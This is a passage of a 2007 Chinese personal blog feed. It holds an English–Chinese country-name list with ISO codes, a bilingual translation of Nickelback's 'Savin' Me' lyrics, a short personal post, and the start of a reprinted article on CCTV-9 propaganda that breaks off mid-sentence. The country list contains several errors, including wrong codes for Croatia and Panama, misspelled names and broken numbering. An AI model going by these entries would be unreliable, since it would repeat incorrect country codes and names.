36.  China   [CHN; CN]&lt;br /&gt;        the People's Republic of China  中国；中华人民共和国&lt;br /&gt;           中国的；中国人&lt;br /&gt; 37.  Colombia   [COL; CO]&lt;br /&gt;        the Republic of Colombia   哥伦比亚共和国&lt;br /&gt; 38.  Comoros (the)   [COM; KM]&lt;br /&gt;        the Islamic Federal Republic of  科摩罗伊斯兰联邦共和国&lt;br /&gt;            the Comoros&lt;br /&gt; 39.  Congo (the)   [COG; CG]&lt;br /&gt;        the Republic of the Congo   刚果共和国&lt;br /&gt;  #.  the Democratic Republic of the Congo:  see 48.&lt;br /&gt; 40.  Cook Islands   [COK; CK]&lt;br /&gt;        the Cook Islands     库克群岛&lt;br /&gt;          库克的；库克人&lt;br /&gt; 41.  Costa Rica   [CRI; CR]&lt;br /&gt;        the Republic of Costa Rica   哥斯达黎加共和国&lt;br /&gt; 42.  Cote d'Ivoire   [CIV; CI]&lt;br /&gt;        the Republic of Cote d'Ivoire   科特迪瓦共和国&lt;br /&gt;        Ivorian        伊瓦的；伊瓦人&lt;br /&gt; 43.  Croatia   [HRN; HR]&lt;br /&gt;        the Republic of Croatia    克罗地亚共和国&lt;br /&gt; 44.  Cuba   [CUB; CU]&lt;br /&gt;        the Republic of Cuba    古巴共和国&lt;br /&gt; 45.  Cyprus   [CYP; CY]&lt;br /&gt;        the Republic of Cyprus    塞浦路斯共和国&lt;br /&gt; 46.  Czech Republic (the)   [CZE; CZ]  捷克共和国&lt;br /&gt; 47.  Democratic People's Republic of   朝鲜民主主义人民共和国&lt;br /&gt;          Korea (the)   [PRK; KP]    朝鲜民主主义人民共和国的；&lt;br /&gt;           朝鲜民主主义人民共和国人&lt;br /&gt; 48.  Democratic Republic of the Congo (the) 刚果民主共和国&lt;br /&gt;  [COD; CD]       刚果民主共和国的；刚果的；&lt;br /&gt;           刚果民主共和国人；刚果人&lt;br /&gt; 49.  Denmark   [DNK; DK]&lt;br /&gt;        the Kingdom of Denmark   丹麦王国&lt;br /&gt; 50.  Djibouti   [DJI; DJ]&lt;br /&gt;        the Republic of Djibouti    吉布提共和国&lt;br /&gt; 51.  Dominica   [DMA; DM]&lt;br /&gt;        the Commonwealth of Dominica  多米尼加联邦&lt;br /&gt; 52.  Dominican Republic (the)    多米尼加共和国&lt;br /&gt;        [DOM; DO]&lt;br /&gt; 53.  Ecuador   [ECU; EC]&lt;br /&gt;        the Republic of Ecuador    厄瓜多尔共和国&lt;br /&gt; 54.  Egypt   [EGY; EG]&lt;br /&gt;        the Arab Republic of Egypt   阿拉伯埃及共和国&lt;br /&gt; 55.  El Salvador   [SLV; SV]&lt;br /&gt;        the Republic of El Salvador   萨尔瓦多共和国&lt;br /&gt; 56.  Equatorial Guinea   [GNQ; GQ]&lt;br /&gt;        the Republic of Equatorial   赤道几内亚共和国&lt;br /&gt;            Guinea&lt;br /&gt; 57.  Eriterea   [ERI; ER]     厄立特里亚&lt;br /&gt; 58.  Estonia   [EST; EE]&lt;br /&gt;        the Republic of Estonia    爱沙尼亚共和国&lt;br /&gt; 59.  Ethiopia   [ETH; ET]&lt;br /&gt;        Federal Democratic Republic of  埃塞俄比亚联邦民主共和国&lt;br /&gt;            Ethopia&lt;br /&gt; 60.  Fiji   [FJI; FJ]&lt;br /&gt;        the Republic of Fiji     斐济共和国&lt;br /&gt; 61.  Finland   [FIN; FI]&lt;br /&gt;        the Republic of Finland    芬兰共和国&lt;br /&gt; 62.  France   [FRA; FR]&lt;br /&gt;        the French Republic     法国；法兰西共和国&lt;br /&gt;           法国的；法国人&lt;br /&gt; 63.  Gabon   [GAB; GA]&lt;br /&gt;        the Gabonese Republic    加蓬共和国&lt;br /&gt; 64.  Gambia (the)   [GMB; GM]&lt;br /&gt;        the Repubilc of the Gambia   冈比亚共和国&lt;br /&gt; 65.  Georgia   [GEO; GE]    格鲁吉亚&lt;br /&gt; 66.  Germany   [DEU; DE]&lt;br /&gt;        the Federal Republic of Germany  德国；德意志联邦共和国&lt;br /&gt;           德国的；德国人&lt;br /&gt;67.  Ghana   [GHA; GH]&lt;br /&gt;        the Republic of Ghana    加纳共和国&lt;br /&gt; 68.  Greece   [GRC; GR]&lt;br /&gt;        the Hellenic Republic    希腊共和国&lt;br /&gt; 69.  Grenada   [GRD; GD]    格林纳达&lt;br /&gt; 70.  Guatemala   [GTM; GT]&lt;br /&gt;        the Republic of Guatemala   危地马拉共和国&lt;br /&gt; 71.  Guinea   [GIN; GN]&lt;br /&gt;        the Republic of Guinea    几内亚共和国&lt;br /&gt; 72.  Guinea-Bissau   [GNB; GW]&lt;br /&gt;        the Republic of Guinea-Bissau  几内亚比绍共和国&lt;br /&gt; 73.  Guyana   [GUY; GY]&lt;br /&gt;        the Republic of Guyana    圭亚那共和国&lt;br /&gt; 74.  Haiti  [HTI; HT]&lt;br /&gt;        the Republic of Haiti    海地共和国&lt;br /&gt; 75.  Holy See (the)   [VAT; VA]   教廷&lt;br /&gt;76.  Honduras   [HND; HN]&lt;br /&gt;        the Republic of Honduras   洪都拉斯共和国&lt;br /&gt; 77.  Hungary   [HUN; HU]&lt;br /&gt;        the Republic of Hungary    匈牙利共和国              &lt;br /&gt; 78.  Iceland   [ISL; IS]&lt;br /&gt;        the Republic of Iceland    冰岛共和国&lt;br /&gt; 79.  India   [IND; IN]&lt;br /&gt;        the Republic of India    印度共和国&lt;br /&gt; 80.  Indonesia   [IDN; ID]&lt;br /&gt;        the Republic of Indonesia   印度尼西亚共和国&lt;br /&gt; 81.  Iran (Islamic Republic of)   [IRN; IR]&lt;br /&gt;        the Islamic Republic of Iran   伊朗伊斯兰共和国&lt;br /&gt; 82.  Iraq   [IRQ; IQ]&lt;br /&gt;        the Republic of Iraq     伊拉克共和国&lt;br /&gt; 83.  Ireland   [IRL; IE]     爱尔兰&lt;br /&gt; 84.  Israel   [ISR; IL]&lt;br /&gt;        the State of Israel     以色列国&lt;br /&gt; 85.  Italy   [ITA; IT]&lt;br /&gt;        the Italian Republic     意大利共和国&lt;br /&gt; 86.  Jamaica   [JAM; JM]     牙买加&lt;br /&gt; 87.  Japan   [JPN; JP]     日本国&lt;br /&gt; 88.  Jordan   [JOR; JO]&lt;br /&gt;        the Hashemite Kingdom of Jordan  约旦哈希姆王国&lt;br /&gt; 89.  Kazakhstan   [KAZ; KZ]&lt;br /&gt;        the Republic of Kazakhstan   哈萨克斯坦共和国&lt;br /&gt;           哈萨克的；哈萨克人&lt;br /&gt; 90.  Kenya   [KEN; KE]&lt;br /&gt;        the Republic of Kenya    肯尼亚共和国&lt;br /&gt; 91.  Kiribati   [KIR; KI]     基里巴斯&lt;br /&gt;  #.  Korea:  Democratic People's Republic of Korea:  see 47.&lt;br /&gt;             Republic of Korea:  see 139.&lt;br /&gt; 92.  Kuwait   [KWT; KW]&lt;br /&gt;        the State of Kuwait     科威特国&lt;br /&gt; 93.  Kyrgyzstan   [KGZ; KG]&lt;br /&gt;        the Kyrgyz Republic    吉尔吉斯斯坦；吉尔吉斯共和国&lt;br /&gt;           吉尔吉斯的；吉尔吉斯人&lt;br /&gt; 94.  Lao People's Democratic Republic  老挝人民民主共和国&lt;br /&gt;        (the)   [LAO; LA]&lt;br /&gt; 95.  Latvia   [LVA; LV]&lt;br /&gt;        the Republic of Latvia    拉脱维亚共和国&lt;br /&gt; 96.  Lebanon   [LBN; LB]&lt;br /&gt;        the Lebanese Republic    黎巴嫩共和国&lt;br /&gt; 97.  Lesotho   [LSO; LS]&lt;br /&gt;        the Kingdom of Lesotho    莱索托王国&lt;br /&gt; 98.  Liberia   [LBR; LR]&lt;br /&gt;        the Republic of Liberia    利比里亚共和国&lt;br /&gt; 99.  Libyan Arab Jamahiriya (the)  [LBY; LY]&lt;br /&gt;the Socialist People's Libyan   阿拉伯利比亚民众国；阿拉伯利比亚&lt;br /&gt;   Arab Jamahiriya     人民社会主义民众国&lt;br /&gt;           利比亚的；利比亚人&lt;br /&gt;100.  Liechtenstein   [LIE; LI]&lt;br /&gt;        the Principality of  列支敦士登公国&lt;br /&gt;            Liechtenstein&lt;br /&gt;101.  Lithuania   [LTU; LT]&lt;br /&gt;        the Republic of Lithuania   立陶宛共和国&lt;br /&gt;102.  Luxembourg   [LUX; LU]&lt;br /&gt;        the Grand Duchy of Luxembourg  卢森堡大公国&lt;br /&gt;  #.  Macedonia:  see 170.&lt;br /&gt;103.  Madagascar   [MDG; MG]&lt;br /&gt;        the Republic of Madagascar   马达加斯加共和国&lt;br /&gt;104.  Malawi   [MWI; MW]&lt;br /&gt;        the Republic of Malawi    马拉维共和国&lt;br /&gt;105.  Malaysia   [MYS; MY]    马来西亚&lt;br /&gt;106.  Maldives   [MDV; MV]&lt;br /&gt;        the Republic of Maldives    马尔代夫共和国&lt;br /&gt;107.  Mali   [MLI; ML]&lt;br /&gt;        the Republic of Mali    马里共和国&lt;br /&gt;108.  Malta   [MLT; MT]&lt;br /&gt;        the Republic of Malta    马耳他共和国&lt;br /&gt;109.  Marshall Islands (the)   [MHL; MH]&lt;br /&gt;        the Republic of the Marshall   马绍尔群岛共和国&lt;br /&gt;            Islands       马绍尔群岛的；马绍尔群岛人&lt;br /&gt;110.  Mauritania   [MRT; MR]&lt;br /&gt;        the Islamic Republic of    毛里塔尼亚伊斯兰共和国&lt;br /&gt;            Mauritania&lt;br /&gt;111.  Mauritius   [MUS; MU]&lt;br /&gt;        the Republic of Mauritius   毛里求斯共和国&lt;br /&gt;112.  Mexico   [MEX; MX]&lt;br /&gt;        the United Mexican States   墨西哥合众国&lt;br /&gt;113.  Micronesia (Federated States of) &lt;br /&gt;        [FSM; FM]&lt;br /&gt;the Federated States of    密克罗尼西亚（联邦）；密克罗尼西&lt;br /&gt;        Micronesia      亚联邦&lt;br /&gt;         密克罗尼西亚联邦的；密克罗尼&lt;br /&gt;           西亚人&lt;br /&gt;  #.  Moldova: see 140.&lt;br /&gt;114.  Monaco   [MCO; MC]&lt;br /&gt;        the Principality of Monaco   摩纳哥公国&lt;br /&gt;115.  Mongolia   [MNG; MN]    蒙古&lt;br /&gt;116.  Morocco   [MAR; MA]&lt;br /&gt;        the Kingdom of Morocco   摩洛哥王国&lt;br /&gt;117.  Mozambique   [MOZ; MZ]&lt;br /&gt;        the Republic of Mozambique   莫桑比克共和国&lt;br /&gt;118.  Myanmar  [MMR; MM]&lt;br /&gt;        the Union of Myanmar    缅甸联邦&lt;br /&gt;119.  Namibia   [NAM; NA]&lt;br /&gt;        the Republic of Namibia    纳米比亚共和国&lt;br /&gt;120.  Nauru   [NRU; NR]&lt;br /&gt;        the Republic of Nauru    瑙鲁共和国&lt;br /&gt;121.  Nepal   [NPL; NP]&lt;br /&gt;        the Kingdom of Nepal    尼泊尔王国&lt;br /&gt;122.  Netherlands (the)   [NLD; NL]&lt;br /&gt;        the Kingdom of the Netherlands  荷兰王国&lt;br /&gt;123.  New Zealand   [NZL; NZ]   新西兰&lt;br /&gt;124.  Nicaragua   [NIC; NI]&lt;br /&gt;        the Republic of Nicaragua   尼加拉瓜共和国&lt;br /&gt;125.  Niger (the)   [NER; NE]&lt;br /&gt;        the Republic of the Niger   尼日尔共和国&lt;br /&gt;126.  Nigeria   [NGA; NG]&lt;br /&gt;        the Federal Republic of Nigeria  尼日利亚联邦共和国&lt;br /&gt;  #.  Niue   [NIU; NU]&lt;br /&gt;        the Republic of Niue    纽埃共和国&lt;br /&gt;127.  Norway  [NOR; NO]&lt;br /&gt;        the Kingdom of Norway    挪威王国&lt;br /&gt;128.  Oman   [OMN; OM]&lt;br /&gt;        the Sultanate of Oman    阿曼苏丹国&lt;br /&gt;129.  Pakistan   [PAK; PK]&lt;br /&gt;        the Islamic Republic of    巴基斯坦伊斯兰共和国&lt;br /&gt;            Pakistan&lt;br /&gt;130.  Palau   [PLW; PW]&lt;br /&gt;        the Republic of Palau    帕劳共和国&lt;br /&gt;131.  Panama   [PAN; PN]&lt;br /&gt;        the Republic of Panama    巴拿马共和国&lt;br /&gt;132.  Papua New Gunea   [PNG; PG]  巴布亚新几内亚&lt;br /&gt;133.  Paraguay   [PRY; PY]&lt;br /&gt;        the Republic of Paraguay   巴拉圭共和国&lt;br /&gt;134.  Peru   [PER; PE]&lt;br /&gt;        the Republic of Peru    秘鲁共和国&lt;br /&gt;135.  Philippines (the)   [PHL; PH]&lt;br /&gt;        the Republic of the Philippines  菲律宾共和国&lt;br /&gt;136.  Poland   [POL; PL]&lt;br /&gt;        the Republic of Poland    波兰共和国&lt;br /&gt;137.  Portugal   [PRT; PT]&lt;br /&gt;        the Portuguese Republic    葡萄牙共和国&lt;br /&gt;138.  Qatar   [QAT; QA]&lt;br /&gt;        the State of Qatar     卡塔尔国&lt;br /&gt;139.  Republic of Korea (the)   [KOR; KR] 大韩民国&lt;br /&gt;           韩国的；韩国人&lt;br /&gt;140.  Republic of Moldova (the)    摩尔多瓦共和国&lt;br /&gt;        [MDA; MD]&lt;br /&gt;141.  Romania   [ROM; RO]    罗马尼亚&lt;br /&gt;142.  Russian Federation (the)    俄罗斯联邦&lt;br /&gt;143.  Rwanda   [RWA; RW]&lt;br /&gt;        the Rwandese Republic    卢旺达共和国&lt;br /&gt;144.  Saint Kitts and Nevis   [KNA; KN]  圣基茨和尼维斯&lt;br /&gt;145.  Saint Lucia   [LCA; LC]    圣卢西亚&lt;br /&gt;146.  Saint Vincent and the Grenadines  圣文森特和格林纳丁斯&lt;br /&gt;        [VCT; VC]&lt;br /&gt;147.  Samoa   [WSM; WS]&lt;br /&gt;        the Independent State of Samoa  萨摩亚；萨摩亚独立国&lt;br /&gt;148.  San Marino   [SMR; SM]&lt;br /&gt;        the Republic of San Marino   圣马力诺共和国&lt;br /&gt;149.  Sao Tome and Principe   [STP; ST]&lt;br /&gt;        the Democratic Republic of Sao  圣多美和普林西比民主共和国&lt;br /&gt;            Tome and Principe&lt;br /&gt;150.  Saudi Arabia   [SAU; SA]&lt;br /&gt;        the Kingdom of Saudi Arabia   沙特阿拉伯王国&lt;br /&gt;151.  Senegal   [SEN; SN]&lt;br /&gt;        the Republic of Senegal    塞内加尔共和国&lt;br /&gt;152.  Seychelles   [SYC; SC]&lt;br /&gt;        the Republic of Seychelles   塞舌尔共和国&lt;br /&gt;153.  Sierra Leone   [SLE; SL]&lt;br /&gt;        the Republic of Sierra Leone   塞拉利昂共和国&lt;br /&gt;154.  Singapore   [SGP; SG]&lt;br /&gt;        the Republic of Singapore   新加坡共和国&lt;br /&gt;155.  Slovakia   [SVK; SK]&lt;br /&gt;        the Slovak Republic    斯洛伐克共和国&lt;br /&gt;156.  Slovenia   [SVN; SI]&lt;br /&gt;        the Republic of Slovenia    斯洛文尼亚共和国&lt;br /&gt;157.  Solomon Islands   [SLB; SB]   所罗门群岛&lt;br /&gt;           所罗门群岛的；所罗门群岛人&lt;br /&gt;158.  Somalia   [SOM; SO]&lt;br /&gt;        the Somali Democratic Republic  索马里民主共和国&lt;br /&gt;159.  South Africa   [ZAF; ZA]&lt;br /&gt;        the Republic of South Africa   南非共和国&lt;br /&gt;160.  Spain   [ESP; ES]&lt;br /&gt;        the Kingdom of Spain    西班牙王国&lt;br /&gt;161.  Sri Lanka   [LKA; LK]&lt;br /&gt;        the Democratic Socialist    斯里兰卡民主社会主义共和国&lt;br /&gt;            Republic of Sri Lanka&lt;br /&gt;162.  Sudan (the)   [SDN; SD]&lt;br /&gt;        the Republic of the Sudan   苏丹共和国&lt;br /&gt;163.  Suriname   [SUR; SR]&lt;br /&gt;        the Republic of Suriname   苏里南共和国&lt;br /&gt;164.  Swaziland   [SWZ; SZ]&lt;br /&gt;        the Kingdom of Swaziland   斯威士兰王国&lt;br /&gt;165.  Sweden   [SWE; SE]&lt;br /&gt;        the Kingdom of Sweden    瑞典王国&lt;br /&gt;166.  Switzerland   [CHE; CH]&lt;br /&gt;        the Swiss Confederation    瑞士联邦&lt;br /&gt;167.  Syrian Arab Republic (the)    阿拉伯叙利亚共和国&lt;br /&gt;        [SYR; SY]&lt;br /&gt;168.  Tajikistan   [TJK; TJ]&lt;br /&gt;        the Republic of Tajikistan   塔吉克斯坦共和国&lt;br /&gt;           塔吉克的；塔吉克人&lt;br /&gt;169.  Thailand   [THA; TH]&lt;br /&gt;        the Kingdom of Thailand    泰国；泰王国&lt;br /&gt;           泰国的；泰国人&lt;br /&gt;170.  The former Yugoslav Republic of  前南斯拉夫的马其顿共和国&lt;br /&gt;Macedonia [MKD; MK]     前南斯拉夫的马其顿共和国的；&lt;br /&gt;           前南斯拉夫的马其顿共和国人&lt;br /&gt;171.  Togo   [TGO; TG]&lt;br /&gt;        the Togolese Republic    多哥共和国&lt;br /&gt;172.  Tonga   [TON; TO]&lt;br /&gt;        the Kingdom of Tonga    汤加王国&lt;br /&gt;173.  Trinidad and Tobago   [TTO; TT]&lt;br /&gt;        the Republic of Trinidad and   特立尼达和多巴哥共和国&lt;br /&gt;            Tobago&lt;br /&gt;174.  Tunisia   [TUN; TN]&lt;br /&gt;        the Republic of Tunisia    突尼斯共和国&lt;br /&gt;175.  Turkey   [TUR; TR]&lt;br /&gt;        the Republic of Turkey    土耳其共和国&lt;br /&gt;176.  Turkmenistan   [TKM; TM]   土库曼斯坦&lt;br /&gt;           土库曼的；土库曼人&lt;br /&gt;177.  Tuvalu   [TUV; TV]     图瓦卢&lt;br /&gt;178.  Uganda   [UGA; UG]&lt;br /&gt;  the Republic of Uganda    乌干达共和国&lt;br /&gt;179.  Ukraine   [UKR; UA]    乌克兰&lt;br /&gt;180.  United Arab Emirates (the)    阿拉伯联合酋长国&lt;br /&gt;        [ARE; AE]      阿拉伯联合酋长国的；&lt;br /&gt;           阿拉伯联合酋长国人&lt;br /&gt;181.  United Kingdom of Great Britain   大不列颠及北爱尔兰联合王国&lt;br /&gt;          and Northern Ireland (the)    （联合王国；英国）&lt;br /&gt;        [GBR; GB]       英国的；英国人&lt;br /&gt;182.  United Republic of Tanzania (the)  坦桑尼亚联合共和国&lt;br /&gt;        [TZA; TZ]&lt;br /&gt;183.  United States of America (the)   美利坚合众国（美国）&lt;br /&gt;        [USA; US]       美国的；美国人&lt;br /&gt;184.  Uruguay   [URY; UY]&lt;br /&gt;        the Eastern Republic of Uruguay  乌拉圭东岸共和国&lt;br /&gt;           乌拉圭的；乌拉圭人&lt;br /&gt;185.  Uzbekistan   [UZB; UZ]&lt;br /&gt;        the Republic of Uzbekistan   乌兹别克斯坦共和国&lt;br /&gt;         乌兹别克的；乌兹别克人&lt;br /&gt;186.  Vanuatu   [VUT; VU]&lt;br /&gt;        the Republic of Vanuatu    瓦努阿图共和国&lt;br /&gt;187.  Vatican City State     梵蒂冈城国&lt;br /&gt;        [See: 75.  Holy See]&lt;br /&gt;188.  Venezuela   [VEN; VE]&lt;br /&gt;        the Republic of Venezuela   委内瑞拉共和国&lt;br /&gt;189.  Viet Nam   [VNM; VN]&lt;br /&gt;        the Socialist Republic of Viet Nam  越南社会主义共和国&lt;br /&gt;190.  Yemen   [YEM; YE]&lt;br /&gt;        the Republic of Yemen    也门共和国&lt;br /&gt;193.  Yugoslavia   [YUG; YU]&lt;br /&gt;        the Federal Republic of    南斯拉夫联盟共和国&lt;br /&gt;            Yugoslavia&lt;br /&gt;192.  Zambia   [ZMB; ZM]&lt;br /&gt;        the Republic of Zambia    赞比亚共和国&lt;br /&gt;193.  Zimbabwe   [ZWE; ZW]&lt;br /&gt;        the Republic of Zimbabwe   津巴布韦共和国&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-2516096447363562083?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/2516096447363562083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=2516096447363562083' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2516096447363562083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2516096447363562083'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/blog-post.html' title='国家名称'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-2852129114994321381</id><published>2007-11-28T14:24:00.000+08:00</published><updated>2007-11-28T14:29:14.541+08:00</updated><title type='text'>Very nice Song 《Savin' Me》</title><content type='html'>Nickelback《Savin' Me》救赎&lt;br /&gt;电影《死刑犯》片尾曲&lt;br /&gt;&lt;br /&gt;prison gates won't open up for me 炼狱之门不为我而开&lt;br /&gt;on these hands and knees i'm crawlin' 唯有手脚匍匐前行&lt;br /&gt;oh, i reach for you （感叹词我翻译不好）直奔向你&lt;br /&gt;well i'm terrified of these four walls 围墙和铁栏虽禁锢我的肉身&lt;br /&gt;these iron bars can't hold my soul in 却无法阻隔我的灵魂&lt;br /&gt;&lt;br /&gt;/*****chorus*****/&lt;br /&gt;all i need is you 只要有你&lt;br /&gt;come please i'm callin' 我在呼唤 期待你的出现&lt;br /&gt;and oh i scream for you 叫喊 已令我声嘶力竭&lt;br /&gt;hurry i'm fallin'i'm fallin' 快 我正身处水深火热&lt;br /&gt;show me what it's like      告诉我&lt;br /&gt;to be the last one standing 谁能笑到最后&lt;br /&gt;and teach me wrong from right 教我分辨是非&lt;br /&gt;and i'll show you what i can be 不会让你失望&lt;br /&gt;say it for me 跟我说say it to me   跟我说&lt;br /&gt;&lt;br /&gt;and i'll leave this life behind me 我不会再那样活&lt;br /&gt;say it if it's worth saving me 如果我值得拯救 告诉我&lt;br /&gt;&lt;br /&gt;/*****chorus*****/&lt;br /&gt;heaven's gates won't open up for me 天堂之门不为我而开&lt;br /&gt;with these broken wings i'm fallin' 坠落凡间 我折断一双羽翼&lt;br /&gt;and all i see is you 我的世界只有你&lt;br /&gt;these city walls ain't got no love for me   冰冷的城墙没有爱意&lt;br /&gt;i'm on the ledge of the eighteenth storey 我被困在十八层边缘&lt;br /&gt;chorus&lt;br /&gt;hurry i'm fallin' 快 我已奄奄一息&lt;br /&gt;chorus&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.mp3-host.com/uploads/a18af.33a75.mp3"&gt;http://www.mp3-host.com/uploads/a18af.33a75.mp3&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-2852129114994321381?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/2852129114994321381/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=2852129114994321381' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2852129114994321381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2852129114994321381'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/very-nice-song-savin-me.html' title='Very nice Song 《Savin&apos; Me》'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-7035686998503792082</id><published>2007-11-28T14:00:00.000+08:00</published><updated>2007-11-28T14:03:06.620+08:00</updated><title type='text'>Oath</title><content type='html'>looking for desperation in life,looking for hope in desperation&lt;br /&gt;&lt;br /&gt;用尽情感去奢侈，却不能换取谎言的终止冷酷人生，冷酷生活&lt;br /&gt;&lt;br /&gt;i don't have enough time to keep an eye on this problem,and also no time to discuss with anybody &lt;br /&gt;&lt;br /&gt;&lt;a href="http://fallso.testren.com/"&gt;http://fallso.testren.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;hoping for the best;planning for the worst&lt;br /&gt;&lt;br /&gt;Nothing can conquer love,but love can conquer everything.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-7035686998503792082?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/7035686998503792082/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=7035686998503792082' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/7035686998503792082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/7035686998503792082'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/oath.html' title='Oath'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-1242225101066098799</id><published>2007-11-23T18:10:00.000+08:00</published><updated>2007-11-28T14:24:04.902+08:00</updated><title type='text'>How China's Propaganda Machine Works</title><content type='html'>How China's Propaganda Machine Works Joan Maltese Special for NewsMax.com Friday, July 4, 2003&lt;br /&gt;It's the tail end of the graveyard shift in a newsroom in Beijing. Abandoned glasses of shrubby teas stand among the computer terminals, looking like biology experiments. As the on-duty Foreign Expert at China Central Television's English-language news channel, I am tapping out the headlines for the 8 a.m. broadcast, which have been carefully chosen and sequenced by the director and producer. As for me, I’m well versed in the verbiage the censor will require. Accordingly, I write:&lt;br /&gt;Chinese Communist Party General Secretary Hu Jintao delivers an important speech on how to continue using agriculture to build an all-around well-off society.&lt;br /&gt;Chinese People's Political Consultative Conference Chairman Li Ruihuan says Macao has witnessed social stability and sustained economic expansion since it returned to the mainland’s umbrella.&lt;br /&gt;Plane crashes in Turkey and the U.S. kill 96. That wraps up 8 a.m. I click the Submit button and go for a walk through the silent halls and cells of the CCTV-9 news offices, trying not to disturb the 50 percent of the staff who are sound asleep.&lt;br /&gt;This is the headquarters of a national news service reaching millions of households in China, plus satellite subscribers in Britain and France, and Fox cable satellite subscribers in selected U.S. cities. The Fox cable deal prompted several changes, including expansion to 24-hour coverage, because it is a hopeful spearhead into the global media market. “Your first window on China,” goes our motto. “China’s best foot forward,” is the unofficial strategy.&lt;br /&gt;You’d think the place would be noisy and busy, even with the graveyard staff winding down. Phones ringing, editors needling for an exact quotation, the director pressing the techies to make sure the links are up for a live interview. But not at CCTV-9 – not now, nor on the evening news shift with North Korea and Iraq both on the brink of war and the Columbia space shuttle just blown up with its crew.&lt;br /&gt;With the exception of a handful of mostly upbeat field reports and the government-issue propaganda, our news all comes from wire services. Pull it off the computer, shape it to suit the party line, and shunt it off to the censor, at least one of whom is onsite around the clock. No communication with remote bureaus or foreign-based reporters, no exclusives, no contacts, no fussing with time differences, no pressure. It’s a good place to catch up on your sleep.&lt;br /&gt;China Central Television is the state-controlled television broadcast service. It falls under the authority of the State Administration of Radio, Film and Television and has suffered the attention of the Chinese leader himself.&lt;br /&gt;“Jiang Zemin, general secretary of the Central Committee of the Communist Party of China, yesterday called on the country’s mass media to create a ‘sound atmosphere’ for the Party’s upcoming congress,” began a front-page item in an August 2002 issue of the China Daily, the government’s English-language propaganda sheet. China’s media were so obedient to this call that what should have been rival organizations were giving each other plugs. “China’s leading newspaper,” began a CCTV-9 broadcast just before the congress, “the People’s Daily, will run an editorial Friday hailing the opening of the 16th National Congress of the Communist Party in Beijing. … The editorial also notes that the thought of [Jiang Zemin’s] “Three Represents” has provided fundamental answers to vital questions.[1]&lt;br /&gt;To add another level of incest, the source for the CCTV-9 item was Xinhua, China’s official news agency. (Is anyone trying to scoop anyone here? Is anyone watching his rival’s every comma to expose untruths? Does anyone risk losing audience to the competition for peddling pap?)&lt;br /&gt;Closer to the ground, it’s harder to tell who’s in charge of what exactly or how everything fits together. There is no organizational chart available to employees at CCTV-9, no roster or handbook or HR department or company newsletter or all-hands meetings or any other formal means of acquainting employees with the organization they work for. Language barriers in the newsroom go largely unaddressed. Changes come down from management like thunderbolts. The budget is opaque, although it is known that salaries for Chinese staff are routinely five months in arrears.&lt;br /&gt;China’s Larry King&lt;br /&gt;If you’re not one of our satellite subscribers outside China, you can go to cctv-9.com and watch our broadcasts to get an idea of why we’re here. China has opened up and reformed! Our news shows look just like yours! We have actual anchors who wear neckties! (Another channel, CCTV-12, has an interview set so similar to Larry King’s that it’s probably some sort of copyright infringement.)&lt;br /&gt;One thing management has provided is a mission: to make our employer, the central government, look good.&lt;br /&gt;That’s why “Your first window on China” always affords a sunny view. When a British tourist was murdered near the Great Wall, CCTV-9 knew nothing about it. When the police shut down all the Internet cafes in Beijing, our coverage never questioned the party line that it was for safety reasons. When Falun-Gong-hunting cops raided my hostel one winter midnight, putting dozens of foreign backpackers and workaday Chinese out on the street without a moment’s notice, CCTV-9 staffers were amused and sympathetic, but there was no coverage. When a group of North Koreans made a dramatic break into the Spanish embassy in Beijing that was played repeatedly on CNN, you never heard a word from us.&lt;br /&gt;I went down to the Spanish embassy that afternoon in March 2002 and found Beijing’s small community of real journalists. Reuters, CNN, Hong Kong’s Phoenix, the 